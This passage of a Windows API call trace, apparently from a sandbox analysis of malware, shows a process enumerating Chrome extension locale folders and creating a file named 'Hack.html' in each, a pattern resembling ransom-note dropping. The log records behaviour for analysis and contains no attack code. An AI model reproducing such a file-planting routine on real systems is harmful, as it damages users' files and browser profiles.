Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs", lpFilePart=0x0) returned 0x89 [0072.570] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\", lpFilePart=0x0) returned 0x8a [0072.570] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.571] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.571] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.571] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.571] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs", lpFilePart=0x0) returned 0x89 [0072.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\", lpFilePart=0x0) returned 0x8a [0072.571] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.571] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.571] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.571] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.571] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.572] GetFileType (hFile=0x174) returned 0x1 [0072.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.572] GetFileType (hFile=0x174) returned 0x1 [0072.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da", lpFilePart=0x0) returned 0x89 [0072.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\", lpFilePart=0x0) returned 0x8a [0072.573] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.574] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.574] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.574] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.574] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da", lpFilePart=0x0) returned 0x89 [0072.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\", lpFilePart=0x0) returned 0x8a [0072.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.575] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.575] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.575] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.575] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.575] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.576] GetFileType (hFile=0x174) returned 0x1 [0072.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.576] GetFileType (hFile=0x174) returned 0x1 [0072.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de", lpFilePart=0x0) returned 0x89 [0072.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\", lpFilePart=0x0) returned 0x8a [0072.577] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.577] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.578] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.578] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.578] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de", lpFilePart=0x0) returned 0x89 [0072.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\", lpFilePart=0x0) returned 0x8a [0072.578] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.578] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.578] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.578] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.578] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.579] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.579] GetFileType (hFile=0x174) returned 0x1 [0072.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.579] GetFileType (hFile=0x174) returned 0x1 [0072.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el", lpFilePart=0x0) returned 0x89 [0072.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\", lpFilePart=0x0) returned 0x8a [0072.581] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.582] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.582] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.582] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.582] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.582] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el", lpFilePart=0x0) returned 0x89 [0072.582] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\", lpFilePart=0x0) returned 0x8a [0072.582] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.582] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.582] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.582] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.582] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.583] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.583] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.583] GetFileType (hFile=0x174) returned 0x1 [0072.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.583] GetFileType (hFile=0x174) returned 0x1 [0072.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.585] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB", lpFilePart=0x0) returned 0x8c [0072.585] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\", lpFilePart=0x0) returned 0x8d [0072.585] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.585] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.585] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.585] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.585] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.586] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB", lpFilePart=0x0) returned 0x8c [0072.586] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\", lpFilePart=0x0) returned 0x8d [0072.586] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.586] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.586] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.586] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.586] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.586] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\Hack.html", lpFilePart=0x0) returned 0x96 [0072.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.587] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, 